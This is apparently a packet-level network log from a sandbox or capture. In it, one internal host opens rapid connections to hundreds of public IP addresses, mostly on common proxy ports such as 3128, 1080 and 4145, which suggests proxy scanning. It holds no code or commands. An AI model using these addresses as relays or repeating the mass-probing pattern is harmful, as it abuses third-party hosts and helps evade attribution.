Mar 11, 2024 18:36:45.359414101 CET	4711	50229	67.43.227.227	192.168.2.8
Mar 11, 2024 18:36:45.361577034 CET	50473	8080	192.168.2.8	112.78.164.248
Mar 11, 2024 18:36:45.361588001 CET	50472	80	192.168.2.8	104.24.35.152
Mar 11, 2024 18:36:45.361912966 CET	9090	49867	212.108.145.195	192.168.2.8
Mar 11, 2024 18:36:45.361963034 CET	49867	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:45.362080097 CET	49867	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:45.362268925 CET	50474	4153	192.168.2.8	177.72.82.47
Mar 11, 2024 18:36:45.362461090 CET	49753	58740	192.168.2.8	162.214.90.49
Mar 11, 2024 18:36:45.362459898 CET	49754	12334	192.168.2.8	194.4.50.91
Mar 11, 2024 18:36:45.362776041 CET	50476	3128	192.168.2.8	86.107.178.103
Mar 11, 2024 18:36:45.363156080 CET	50478	8080	192.168.2.8	1.0.171.213
Mar 11, 2024 18:36:45.363248110 CET	50477	8085	192.168.2.8	191.102.254.54
Mar 11, 2024 18:36:45.363279104 CET	9090	49867	212.108.145.195	192.168.2.8
Mar 11, 2024 18:36:45.363490105 CET	50479	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:45.363758087 CET	50480	80	192.168.2.8	50.217.226.45
Mar 11, 2024 18:36:45.363941908 CET	50475	999	192.168.2.8	45.224.20.68
Mar 11, 2024 18:36:45.364252090 CET	50481	63951	192.168.2.8	107.180.95.177
Mar 11, 2024 18:36:45.365952015 CET	50482	57642	192.168.2.8	107.180.88.41
Mar 11, 2024 18:36:45.366206884 CET	50483	1080	192.168.2.8	35.154.71.72
Mar 11, 2024 18:36:45.366312027 CET	50484	3128	192.168.2.8	84.17.51.241
Mar 11, 2024 18:36:45.366450071 CET	50486	9090	192.168.2.8	103.105.76.214
Mar 11, 2024 18:36:45.366485119 CET	50485	80	192.168.2.8	104.27.83.183
Mar 11, 2024 18:36:45.366652966 CET	4145	50196	174.64.199.82	192.168.2.8
Mar 11, 2024 18:36:45.366672993 CET	50487	999	192.168.2.8	190.71.24.129
Mar 11, 2024 18:36:45.366714954 CET	50196	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:45.366915941 CET	50489	8080	192.168.2.8	194.124.36.75
Mar 11, 2024 18:36:45.366941929 CET	50196	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:45.367026091 CET	50488	80	192.168.2.8	50.239.72.17
Mar 11, 2024 18:36:45.367161036 CET	50490	4145	192.168.2.8	142.54.231.38
Mar 11, 2024 18:36:45.367336035 CET	50492	5678	192.168.2.8	197.251.236.227
Mar 11, 2024 18:36:45.367346048 CET	50491	3128	192.168.2.8	107.155.65.11
Mar 11, 2024 18:36:45.367587090 CET	50493	17982	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:45.367644072 CET	50494	4153	192.168.2.8	109.86.220.12
Mar 11, 2024 18:36:45.367774963 CET	50495	3128	192.168.2.8	159.203.61.169
Mar 11, 2024 18:36:45.367836952 CET	50496	16691	192.168.2.8	92.204.136.149
Mar 11, 2024 18:36:45.368024111 CET	50497	8080	192.168.2.8	14.143.172.238
Mar 11, 2024 18:36:45.368127108 CET	50498	80	192.168.2.8	35.196.18.239
Mar 11, 2024 18:36:45.369107962 CET	50499	80	192.168.2.8	3.127.62.252
Mar 11, 2024 18:36:45.369250059 CET	50500	8880	192.168.2.8	95.66.138.21
Mar 11, 2024 18:36:45.369978905 CET	50501	1080	192.168.2.8	103.47.93.236
Mar 11, 2024 18:36:45.370346069 CET	50503	443	192.168.2.8	93.190.24.119
Mar 11, 2024 18:36:45.370368958 CET	443	50503	93.190.24.119	192.168.2.8
Mar 11, 2024 18:36:45.370429039 CET	50503	443	192.168.2.8	93.190.24.119
Mar 11, 2024 18:36:45.370625019 CET	50503	443	192.168.2.8	93.190.24.119
Mar 11, 2024 18:36:45.370639086 CET	443	50503	93.190.24.119	192.168.2.8
Mar 11, 2024 18:36:45.370687962 CET	443	50503	93.190.24.119	192.168.2.8
Mar 11, 2024 18:36:45.370701075 CET	50502	80	192.168.2.8	172.173.132.85
Mar 11, 2024 18:36:45.370878935 CET	9401	49822	147.75.92.251	192.168.2.8
Mar 11, 2024 18:36:45.370999098 CET	80	50149	104.16.143.127	192.168.2.8
Mar 11, 2024 18:36:45.371090889 CET	80	50149	104.16.143.127	192.168.2.8
Mar 11, 2024 18:36:45.371541023 CET	50149	80	192.168.2.8	104.16.143.127
Mar 11, 2024 18:36:45.371599913 CET	80	50149	104.16.143.127	192.168.2.8
Mar 11, 2024 18:36:45.371637106 CET	50149	80	192.168.2.8	104.16.143.127
Mar 11, 2024 18:36:45.372451067 CET	50504	4019	192.168.2.8	171.235.166.222
Mar 11, 2024 18:36:45.372644901 CET	80	50041	104.20.56.71	192.168.2.8
Mar 11, 2024 18:36:45.372662067 CET	80	50300	104.18.161.122	192.168.2.8
Mar 11, 2024 18:36:45.372675896 CET	80	50044	172.67.53.215	192.168.2.8
Mar 11, 2024 18:36:45.372723103 CET	50300	80	192.168.2.8	104.18.161.122
Mar 11, 2024 18:36:45.373063087 CET	50300	80	192.168.2.8	104.18.161.122
Mar 11, 2024 18:36:45.373189926 CET	80	50136	172.67.182.0	192.168.2.8
Mar 11, 2024 18:36:45.373229027 CET	80	50136	172.67.182.0	192.168.2.8
Mar 11, 2024 18:36:45.373645067 CET	50136	80	192.168.2.8	172.67.182.0
Mar 11, 2024 18:36:45.373735905 CET	80	50134	104.21.194.182	192.168.2.8
Mar 11, 2024 18:36:45.373749018 CET	80	50134	104.21.194.182	192.168.2.8
Mar 11, 2024 18:36:45.373907089 CET	80	50273	12.176.231.147	192.168.2.8
Mar 11, 2024 18:36:45.373965979 CET	50273	80	192.168.2.8	12.176.231.147
Mar 11, 2024 18:36:45.374217987 CET	80	50136	172.67.182.0	192.168.2.8
Mar 11, 2024 18:36:45.374255896 CET	50136	80	192.168.2.8	172.67.182.0
Mar 11, 2024 18:36:45.374337912 CET	80	50134	104.21.194.182	192.168.2.8
Mar 11, 2024 18:36:45.374385118 CET	50134	80	192.168.2.8	104.21.194.182
Mar 11, 2024 18:36:45.374425888 CET	50134	80	192.168.2.8	104.21.194.182
Mar 11, 2024 18:36:45.374728918 CET	50273	80	192.168.2.8	12.176.231.147
Mar 11, 2024 18:36:45.375011921 CET	50505	9002	192.168.2.8	120.197.40.219
Mar 11, 2024 18:36:45.375257015 CET	50506	80	192.168.2.8	3.128.142.113
Mar 11, 2024 18:36:45.375509024 CET	50507	1981	192.168.2.8	156.200.116.71
Mar 11, 2024 18:36:45.376172066 CET	50508	80	192.168.2.8	173.245.49.27
Mar 11, 2024 18:36:45.376497984 CET	50509	52903	192.168.2.8	203.161.32.242
Mar 11, 2024 18:36:45.376961946 CET	50510	25256	192.168.2.8	94.23.220.136
Mar 11, 2024 18:36:45.377465963 CET	3128	49970	195.154.172.161	192.168.2.8
Mar 11, 2024 18:36:45.377779007 CET	50511	5123	192.168.2.8	72.10.160.92
Mar 11, 2024 18:36:45.378083944 CET	49755	6969	192.168.2.8	103.199.155.18
Mar 11, 2024 18:36:45.378099918 CET	49758	31551	192.168.2.8	91.213.119.246
Mar 11, 2024 18:36:45.378101110 CET	49915	80	192.168.2.8	103.152.112.145
Mar 11, 2024 18:36:45.378113031 CET	49884	8000	192.168.2.8	178.128.156.219
Mar 11, 2024 18:36:45.378206968 CET	50512	80	192.168.2.8	51.75.74.18
Mar 11, 2024 18:36:45.379595041 CET	50513	80	192.168.2.8	115.244.127.162
Mar 11, 2024 18:36:45.380338907 CET	50514	5678	192.168.2.8	101.95.182.26
Mar 11, 2024 18:36:45.381089926 CET	50515	3629	192.168.2.8	185.215.53.241
Mar 11, 2024 18:36:45.381901026 CET	50516	8080	192.168.2.8	103.164.58.190
Mar 11, 2024 18:36:45.382087946 CET	50517	8080	192.168.2.8	213.244.91.179
Mar 11, 2024 18:36:45.382618904 CET	3128	50205	13.208.168.179	192.168.2.8
Mar 11, 2024 18:36:45.382700920 CET	50205	3128	192.168.2.8	13.208.168.179
Mar 11, 2024 18:36:45.382822990 CET	50518	9999	192.168.2.8	102.134.181.142
Mar 11, 2024 18:36:45.382970095 CET	50205	3128	192.168.2.8	13.208.168.179
Mar 11, 2024 18:36:45.383158922 CET	50519	30453	192.168.2.8	174.136.57.169
Mar 11, 2024 18:36:45.383869886 CET	50520	80	192.168.2.8	188.166.56.246
Mar 11, 2024 18:36:45.384090900 CET	50521	2906	192.168.2.8	148.72.209.174
Mar 11, 2024 18:36:45.384521961 CET	50522	51251	192.168.2.8	49.12.126.53
Mar 11, 2024 18:36:45.385412931 CET	50523	5678	192.168.2.8	36.95.189.165
Mar 11, 2024 18:36:45.385510921 CET	8080	49814	103.190.54.141	192.168.2.8
Mar 11, 2024 18:36:45.385657072 CET	50524	8080	192.168.2.8	20.205.115.87
Mar 11, 2024 18:36:45.386818886 CET	50525	8080	192.168.2.8	103.190.54.141
Mar 11, 2024 18:36:45.386945963 CET	50526	3128	192.168.2.8	91.233.223.147
Mar 11, 2024 18:36:45.387253046 CET	50527	21802	192.168.2.8	34.93.157.87
Mar 11, 2024 18:36:45.388201952 CET	50528	80	192.168.2.8	152.32.132.220
Mar 11, 2024 18:36:45.389503002 CET	50530	25810	192.168.2.8	146.59.18.246
Mar 11, 2024 18:36:45.389611006 CET	50605	49782	51.81.89.146	192.168.2.8
Mar 11, 2024 18:36:45.389682055 CET	50529	9812	192.168.2.8	12.7.109.1
Mar 11, 2024 18:36:45.390325069 CET	28971	49777	67.43.228.254	192.168.2.8
Mar 11, 2024 18:36:45.390451908 CET	50531	8893	192.168.2.8	186.215.87.194
Mar 11, 2024 18:36:45.390805006 CET	50532	15864	192.168.2.8	192.252.214.20
Mar 11, 2024 18:36:45.391169071 CET	50533	24397	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:45.391669035 CET	50534	22450	192.168.2.8	50.63.12.33
Mar 11, 2024 18:36:45.391772032 CET	80	50156	50.170.90.28	192.168.2.8
Mar 11, 2024 18:36:45.391892910 CET	7777	49882	123.30.154.171	192.168.2.8
Mar 11, 2024 18:36:45.392019987 CET	4145	50302	142.54.229.249	192.168.2.8
Mar 11, 2024 18:36:45.392203093 CET	7777	49882	123.30.154.171	192.168.2.8
Mar 11, 2024 18:36:45.392226934 CET	7777	49882	123.30.154.171	192.168.2.8
Mar 11, 2024 18:36:45.392281055 CET	49882	7777	192.168.2.8	123.30.154.171
Mar 11, 2024 18:36:45.392411947 CET	49882	7777	192.168.2.8	123.30.154.171
Mar 11, 2024 18:36:45.393414021 CET	50536	4145	192.168.2.8	184.181.217.206
Mar 11, 2024 18:36:45.393415928 CET	50535	15673	192.168.2.8	23.95.209.142
Mar 11, 2024 18:36:45.393733978 CET	49762	8080	192.168.2.8	185.108.141.19
Mar 11, 2024 18:36:45.393735886 CET	49761	8090	192.168.2.8	103.127.106.249
Mar 11, 2024 18:36:45.393816948 CET	49763	1080	192.168.2.8	138.36.150.16
Mar 11, 2024 18:36:45.393816948 CET	49771	8402	192.168.2.8	45.229.10.98
Mar 11, 2024 18:36:45.394972086 CET	16379	49986	163.172.171.22	192.168.2.8
Mar 11, 2024 18:36:45.394994020 CET	16379	49986	163.172.171.22	192.168.2.8
Mar 11, 2024 18:36:45.395006895 CET	50537	999	192.168.2.8	167.250.222.233
Mar 11, 2024 18:36:45.395009041 CET	16379	49986	163.172.171.22	192.168.2.8
Mar 11, 2024 18:36:45.395776987 CET	50538	85	192.168.2.8	43.255.113.232
Mar 11, 2024 18:36:45.395785093 CET	50539	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:45.396125078 CET	50540	8089	192.168.2.8	223.247.47.231
Mar 11, 2024 18:36:45.397572994 CET	80	50193	46.35.9.110	192.168.2.8
Mar 11, 2024 18:36:45.397609949 CET	50541	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:45.397739887 CET	50193	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:45.397840977 CET	50542	3128	192.168.2.8	23.152.40.14
Mar 11, 2024 18:36:45.397964954 CET	50193	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:45.399461985 CET	22500	50298	51.79.87.144	192.168.2.8
Mar 11, 2024 18:36:45.399488926 CET	50543	999	192.168.2.8	179.1.133.33
Mar 11, 2024 18:36:45.399674892 CET	50298	22500	192.168.2.8	51.79.87.144
Mar 11, 2024 18:36:45.400819063 CET	50298	22500	192.168.2.8	51.79.87.144
Mar 11, 2024 18:36:45.400819063 CET	50544	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:45.401061058 CET	3128	50183	161.97.132.227	192.168.2.8
Mar 11, 2024 18:36:45.401278973 CET	15673	49935	43.131.245.216	192.168.2.8
Mar 11, 2024 18:36:45.401417017 CET	50183	3128	192.168.2.8	161.97.132.227
Mar 11, 2024 18:36:45.402414083 CET	50545	4153	192.168.2.8	45.226.0.2
Mar 11, 2024 18:36:45.402415037 CET	50183	3128	192.168.2.8	161.97.132.227
Mar 11, 2024 18:36:45.402939081 CET	50546	25525	192.168.2.8	162.19.7.61
Mar 11, 2024 18:36:45.404089928 CET	80	50074	185.238.228.67	192.168.2.8
Mar 11, 2024 18:36:45.404301882 CET	15673	50169	43.155.165.196	192.168.2.8
Mar 11, 2024 18:36:45.404304981 CET	50547	999	192.168.2.8	168.90.255.60
Mar 11, 2024 18:36:45.404499054 CET	50169	15673	192.168.2.8	43.155.165.196
Mar 11, 2024 18:36:45.404855967 CET	50169	15673	192.168.2.8	43.155.165.196
Mar 11, 2024 18:36:45.404903889 CET	80	50309	50.231.104.58	192.168.2.8
Mar 11, 2024 18:36:45.405014038 CET	80	50348	104.25.167.88	192.168.2.8
Mar 11, 2024 18:36:45.405028105 CET	59268	50170	67.213.212.50	192.168.2.8
Mar 11, 2024 18:36:45.405168056 CET	15673	49935	43.131.245.216	192.168.2.8
Mar 11, 2024 18:36:45.405601025 CET	50348	80	192.168.2.8	104.25.167.88
Mar 11, 2024 18:36:45.405673981 CET	50348	80	192.168.2.8	104.25.167.88
Mar 11, 2024 18:36:45.406333923 CET	42331	50206	206.189.9.30	192.168.2.8
Mar 11, 2024 18:36:45.406362057 CET	50548	34560	192.168.2.8	108.181.132.117
Mar 11, 2024 18:36:45.407355070 CET	80	49727	50.217.226.43	192.168.2.8
Mar 11, 2024 18:36:45.407466888 CET	80	49717	41.74.91.244	192.168.2.8
Mar 11, 2024 18:36:45.408704996 CET	80	49797	50.239.72.19	192.168.2.8
Mar 11, 2024 18:36:45.408720970 CET	14282	50067	192.252.208.70	192.168.2.8
Mar 11, 2024 18:36:45.408791065 CET	14282	50067	192.252.208.70	192.168.2.8
Mar 11, 2024 18:36:45.408807039 CET	49775	50189	138.201.21.232	192.168.2.8
Mar 11, 2024 18:36:45.409363985 CET	50549	15673	192.168.2.8	43.131.245.216
Mar 11, 2024 18:36:45.409374952 CET	49766	24183	192.168.2.8	92.205.61.38
Mar 11, 2024 18:36:45.409511089 CET	49892	80	192.168.2.8	50.168.72.112
Mar 11, 2024 18:36:45.410449982 CET	50550	14282	192.168.2.8	192.252.208.70
Mar 11, 2024 18:36:45.410465956 CET	50551	3629	192.168.2.8	46.23.53.164
Mar 11, 2024 18:36:45.410634041 CET	50552	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:45.410701036 CET	1080	50123	64.124.145.1	192.168.2.8
Mar 11, 2024 18:36:45.411067963 CET	50554	16379	192.168.2.8	163.172.137.49
Mar 11, 2024 18:36:45.411070108 CET	50555	80	192.168.2.8	51.161.56.52
Mar 11, 2024 18:36:45.411139965 CET	50123	1080	192.168.2.8	64.124.145.1
Mar 11, 2024 18:36:45.411216974 CET	50123	1080	192.168.2.8	64.124.145.1
Mar 11, 2024 18:36:45.411463976 CET	1080	50123	64.124.145.1	192.168.2.8
Mar 11, 2024 18:36:45.411705017 CET	50556	55994	192.168.2.8	38.127.172.219
Mar 11, 2024 18:36:45.411780119 CET	50557	4153	192.168.2.8	176.197.144.158
Mar 11, 2024 18:36:45.412136078 CET	50560	3128	192.168.2.8	213.131.230.161
Mar 11, 2024 18:36:45.412147999 CET	50558	1080	192.168.2.8	64.124.145.1
Mar 11, 2024 18:36:45.412147999 CET	50559	39095	192.168.2.8	192.163.200.82
Mar 11, 2024 18:36:45.412364006 CET	50561	1080	192.168.2.8	45.234.100.112
Mar 11, 2024 18:36:45.412591934 CET	50562	80	192.168.2.8	31.43.179.160
Mar 11, 2024 18:36:45.412744999 CET	50563	5529	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:45.412764072 CET	80	50356	172.67.231.3	192.168.2.8
Mar 11, 2024 18:36:45.412832975 CET	50564	47056	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:45.413024902 CET	50356	80	192.168.2.8	172.67.231.3
Mar 11, 2024 18:36:45.413243055 CET	50356	80	192.168.2.8	172.67.231.3
Mar 11, 2024 18:36:45.413460970 CET	50553	31409	192.168.2.8	121.139.218.165
Mar 11, 2024 18:36:45.413557053 CET	80	50198	172.67.150.173	192.168.2.8
Mar 11, 2024 18:36:45.413620949 CET	80	50198	172.67.150.173	192.168.2.8
Mar 11, 2024 18:36:45.413635015 CET	80	50197	104.20.24.214	192.168.2.8
Mar 11, 2024 18:36:45.413698912 CET	80	50197	104.20.24.214	192.168.2.8
Mar 11, 2024 18:36:45.413834095 CET	80	50198	172.67.150.173	192.168.2.8
Mar 11, 2024 18:36:45.413863897 CET	50198	80	192.168.2.8	172.67.150.173
Mar 11, 2024 18:36:45.413945913 CET	50198	80	192.168.2.8	172.67.150.173
Mar 11, 2024 18:36:45.414525032 CET	50197	80	192.168.2.8	104.20.24.214
Mar 11, 2024 18:36:45.414568901 CET	50565	3128	192.168.2.8	198.199.122.10
Mar 11, 2024 18:36:45.414844036 CET	80	50197	104.20.24.214	192.168.2.8
Mar 11, 2024 18:36:45.415529013 CET	50566	45534	192.168.2.8	209.250.248.127
Mar 11, 2024 18:36:45.415623903 CET	50197	80	192.168.2.8	104.20.24.214
Mar 11, 2024 18:36:45.415704012 CET	50567	8083	192.168.2.8	185.132.242.212
Mar 11, 2024 18:36:45.415812016 CET	32221	49789	67.43.228.254	192.168.2.8
Mar 11, 2024 18:36:45.415839911 CET	50568	8080	192.168.2.8	103.140.34.61
Mar 11, 2024 18:36:45.415946960 CET	31033	49787	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:45.416479111 CET	50569	3128	192.168.2.8	3.212.148.199
Mar 11, 2024 18:36:45.416810036 CET	80	50178	223.19.111.185	192.168.2.8
Mar 11, 2024 18:36:45.417023897 CET	50570	56225	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:45.417074919 CET	50178	80	192.168.2.8	223.19.111.185
Mar 11, 2024 18:36:45.417474031 CET	50178	80	192.168.2.8	223.19.111.185
Mar 11, 2024 18:36:45.418601990 CET	50571	8080	192.168.2.8	103.111.136.110
Mar 11, 2024 18:36:45.418603897 CET	50572	19802	192.168.2.8	72.167.38.7
Mar 11, 2024 18:36:45.418690920 CET	50573	1080	192.168.2.8	140.250.150.56
Mar 11, 2024 18:36:45.419083118 CET	10003	49994	147.75.34.86	192.168.2.8
Mar 11, 2024 18:36:45.419096947 CET	10003	49994	147.75.34.86	192.168.2.8
Mar 11, 2024 18:36:45.419239044 CET	49994	10003	192.168.2.8	147.75.34.86
Mar 11, 2024 18:36:45.419447899 CET	49994	10003	192.168.2.8	147.75.34.86
Mar 11, 2024 18:36:45.419935942 CET	80	50380	172.67.3.98	192.168.2.8
Mar 11, 2024 18:36:45.420083046 CET	50380	80	192.168.2.8	172.67.3.98
Mar 11, 2024 18:36:45.420423031 CET	50380	80	192.168.2.8	172.67.3.98
Mar 11, 2024 18:36:45.420897007 CET	50575	4153	192.168.2.8	185.22.31.227
Mar 11, 2024 18:36:45.420945883 CET	50574	46783	192.168.2.8	162.241.158.204
Mar 11, 2024 18:36:45.421097994 CET	50576	42647	192.168.2.8	185.66.59.4
Mar 11, 2024 18:36:45.421335936 CET	50577	1256	192.168.2.8	188.133.155.215
Mar 11, 2024 18:36:45.422177076 CET	80	50384	104.24.193.186	192.168.2.8
Mar 11, 2024 18:36:45.422322989 CET	50384	80	192.168.2.8	104.24.193.186
Mar 11, 2024 18:36:45.422497988 CET	50578	18080	192.168.2.8	54.178.159.199
Mar 11, 2024 18:36:45.422728062 CET	50384	80	192.168.2.8	104.24.193.186
Mar 11, 2024 18:36:45.422733068 CET	50579	23711	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:45.422986984 CET	50580	8080	192.168.2.8	5.58.97.89
Mar 11, 2024 18:36:45.423451900 CET	80	50211	172.67.38.96	192.168.2.8
Mar 11, 2024 18:36:45.423507929 CET	80	50211	172.67.38.96	192.168.2.8
Mar 11, 2024 18:36:45.423933983 CET	80	50211	172.67.38.96	192.168.2.8
Mar 11, 2024 18:36:45.423964024 CET	50211	80	192.168.2.8	172.67.38.96
Mar 11, 2024 18:36:45.424721003 CET	50582	3128	192.168.2.8	176.113.73.99
Mar 11, 2024 18:36:45.424721003 CET	50581	51507	192.168.2.8	135.148.10.161
Mar 11, 2024 18:36:45.424808979 CET	50211	80	192.168.2.8	172.67.38.96
Mar 11, 2024 18:36:45.424967051 CET	49933	8888	192.168.2.8	47.254.90.125
Mar 11, 2024 18:36:45.424972057 CET	49757	22881	192.168.2.8	208.109.14.49
Mar 11, 2024 18:36:45.424990892 CET	49919	80	192.168.2.8	50.175.212.74
Mar 11, 2024 18:36:45.424990892 CET	49778	37876	192.168.2.8	162.241.50.179
Mar 11, 2024 18:36:45.425004959 CET	49783	4145	192.168.2.8	212.231.197.29
Mar 11, 2024 18:36:45.425108910 CET	80	50391	104.25.81.82	192.168.2.8
Mar 11, 2024 18:36:45.425136089 CET	50583	8080	192.168.2.8	85.172.0.30
Mar 11, 2024 18:36:45.425308943 CET	50391	80	192.168.2.8	104.25.81.82
Mar 11, 2024 18:36:45.425606966 CET	50391	80	192.168.2.8	104.25.81.82
Mar 11, 2024 18:36:45.426608086 CET	3128	50204	91.189.177.186	192.168.2.8
Mar 11, 2024 18:36:45.426635027 CET	50584	80	192.168.2.8	50.173.140.148
Mar 11, 2024 18:36:45.426702976 CET	50204	3128	192.168.2.8	91.189.177.186
Mar 11, 2024 18:36:45.426959991 CET	50204	3128	192.168.2.8	91.189.177.186
Mar 11, 2024 18:36:45.427203894 CET	50586	27639	192.168.2.8	185.45.194.176
Mar 11, 2024 18:36:45.427206039 CET	50585	80	192.168.2.8	185.238.228.202
Mar 11, 2024 18:36:45.427383900 CET	5678	50247	191.97.2.198	192.168.2.8
Mar 11, 2024 18:36:45.427417994 CET	8800	49740	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:45.427584887 CET	4153	50103	203.76.117.74	192.168.2.8
Mar 11, 2024 18:36:45.427603960 CET	30000	50203	161.97.74.176	192.168.2.8
Mar 11, 2024 18:36:45.427680016 CET	50203	30000	192.168.2.8	161.97.74.176
Mar 11, 2024 18:36:45.427867889 CET	50203	30000	192.168.2.8	161.97.74.176
Mar 11, 2024 18:36:45.428340912 CET	50587	80	192.168.2.8	104.25.87.42
Mar 11, 2024 18:36:45.428627014 CET	50588	80	192.168.2.8	104.21.223.181
Mar 11, 2024 18:36:45.429719925 CET	50589	46296	192.168.2.8	46.101.5.73
Mar 11, 2024 18:36:45.429835081 CET	5096	50228	165.154.227.154	192.168.2.8
Mar 11, 2024 18:36:45.430552959 CET	50591	5896	192.168.2.8	94.23.168.246
Mar 11, 2024 18:36:45.430555105 CET	50590	80	192.168.2.8	50.222.245.41
Mar 11, 2024 18:36:45.430736065 CET	50592	51535	192.168.2.8	162.241.66.135
Mar 11, 2024 18:36:45.432507038 CET	50593	3128	192.168.2.8	120.24.52.179
Mar 11, 2024 18:36:45.432512999 CET	50594	1080	192.168.2.8	27.0.234.206
Mar 11, 2024 18:36:45.434804916 CET	16379	49829	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:45.434927940 CET	16379	49829	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:45.435432911 CET	16379	50243	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:45.436259031 CET	50596	8443	192.168.2.8	27.254.123.203
Mar 11, 2024 18:36:45.436266899 CET	50595	16379	192.168.2.8	51.158.108.165
Mar 11, 2024 18:36:45.436358929 CET	50243	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:45.436613083 CET	50243	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:45.436878920 CET	8080	50212	66.225.246.238	192.168.2.8
Mar 11, 2024 18:36:45.436943054 CET	8080	50212	66.225.246.238	192.168.2.8
Mar 11, 2024 18:36:45.436997890 CET	50597	8080	192.168.2.8	102.164.252.145
Mar 11, 2024 18:36:45.437136889 CET	8000	50127	103.182.112.11	192.168.2.8
Mar 11, 2024 18:36:45.438782930 CET	80	50220	31.43.179.214	192.168.2.8
Mar 11, 2024 18:36:45.438868046 CET	80	50220	31.43.179.214	192.168.2.8
Mar 11, 2024 18:36:45.439189911 CET	80	50220	31.43.179.214	192.168.2.8
Mar 11, 2024 18:36:45.439555883 CET	50220	80	192.168.2.8	31.43.179.214
Mar 11, 2024 18:36:45.439682007 CET	50598	16379	192.168.2.8	51.158.96.66
Mar 11, 2024 18:36:45.439820051 CET	50599	80	192.168.2.8	41.77.188.131
Mar 11, 2024 18:36:45.440233946 CET	50600	80	192.168.2.8	51.222.155.142
Mar 11, 2024 18:36:45.440237999 CET	50601	38772	192.168.2.8	213.136.79.177
Mar 11, 2024 18:36:45.440597057 CET	8080	50212	66.225.246.238	192.168.2.8
Mar 11, 2024 18:36:45.440603018 CET	49843	3629	192.168.2.8	178.158.197.147
Mar 11, 2024 18:36:45.440603018 CET	49784	8080	192.168.2.8	42.200.196.208
Mar 11, 2024 18:36:45.440615892 CET	49790	8080	192.168.2.8	103.114.53.2
Mar 11, 2024 18:36:45.440618038 CET	49780	999	192.168.2.8	131.100.48.75
Mar 11, 2024 18:36:45.440618038 CET	49781	8080	192.168.2.8	149.126.101.162
Mar 11, 2024 18:36:45.440639973 CET	49792	999	192.168.2.8	45.178.133.60
Mar 11, 2024 18:36:45.440664053 CET	49786	80	192.168.2.8	31.207.38.66
Mar 11, 2024 18:36:45.440722942 CET	50212	8080	192.168.2.8	66.225.246.238
Mar 11, 2024 18:36:45.440823078 CET	50220	80	192.168.2.8	31.43.179.214
Mar 11, 2024 18:36:45.441602945 CET	80	50250	50.217.226.44	192.168.2.8
Mar 11, 2024 18:36:45.442013979 CET	8800	49740	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:45.442044020 CET	50602	4145	192.168.2.8	103.66.233.161
Mar 11, 2024 18:36:45.442428112 CET	50603	3128	192.168.2.8	185.191.236.162
Mar 11, 2024 18:36:45.442749977 CET	50604	60148	192.168.2.8	207.180.198.241
Mar 11, 2024 18:36:45.442926884 CET	50605	60651	192.168.2.8	162.241.6.97
Mar 11, 2024 18:36:45.443351030 CET	3128	49823	15.236.106.236	192.168.2.8
Mar 11, 2024 18:36:45.443653107 CET	50606	9292	192.168.2.8	45.232.79.0
Mar 11, 2024 18:36:45.445031881 CET	50607	3629	192.168.2.8	103.144.209.104
Mar 11, 2024 18:36:45.445250988 CET	8080	50366	5.78.89.192	192.168.2.8
Mar 11, 2024 18:36:45.445404053 CET	50608	63055	192.168.2.8	51.161.131.84
Mar 11, 2024 18:36:45.446832895 CET	80	50092	23.227.38.198	192.168.2.8
Mar 11, 2024 18:36:45.446964025 CET	80	50241	141.147.33.121	192.168.2.8
Mar 11, 2024 18:36:45.447621107 CET	8800	50168	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:45.447762012 CET	50168	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:45.447849989 CET	80	50237	104.17.171.235	192.168.2.8
Mar 11, 2024 18:36:45.447904110 CET	80	50237	104.17.171.235	192.168.2.8
Mar 11, 2024 18:36:45.448262930 CET	50168	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:45.448558092 CET	50237	80	192.168.2.8	104.17.171.235
Mar 11, 2024 18:36:45.448637962 CET	80	50237	104.17.171.235	192.168.2.8
Mar 11, 2024 18:36:45.448726892 CET	50237	80	192.168.2.8	104.17.171.235
Mar 11, 2024 18:36:45.449167013 CET	49823	3128	192.168.2.8	15.236.106.236
Mar 11, 2024 18:36:45.449559927 CET	8181	50236	43.132.184.228	192.168.2.8
Mar 11, 2024 18:36:45.450069904 CET	3128	50266	13.40.239.130	192.168.2.8
Mar 11, 2024 18:36:45.451458931 CET	50609	80	192.168.2.8	104.16.109.207
Mar 11, 2024 18:36:45.451545954 CET	50266	3128	192.168.2.8	13.40.239.130
Mar 11, 2024 18:36:45.452172041 CET	8888	50019	95.164.89.123	192.168.2.8
Mar 11, 2024 18:36:45.452182055 CET	50266	3128	192.168.2.8	13.40.239.130
Mar 11, 2024 18:36:45.452213049 CET	8888	50019	95.164.89.123	192.168.2.8
Mar 11, 2024 18:36:45.452258110 CET	8888	50019	95.164.89.123	192.168.2.8
Mar 11, 2024 18:36:45.452361107 CET	50019	8888	192.168.2.8	95.164.89.123
Mar 11, 2024 18:36:45.452416897 CET	80	50218	103.151.20.131	192.168.2.8
Mar 11, 2024 18:36:45.452574968 CET	50610	8080	192.168.2.8	185.128.153.10
Mar 11, 2024 18:36:45.452575922 CET	50019	8888	192.168.2.8	95.164.89.123
Mar 11, 2024 18:36:45.452629089 CET	50218	80	192.168.2.8	103.151.20.131
Mar 11, 2024 18:36:45.452847004 CET	50218	80	192.168.2.8	103.151.20.131
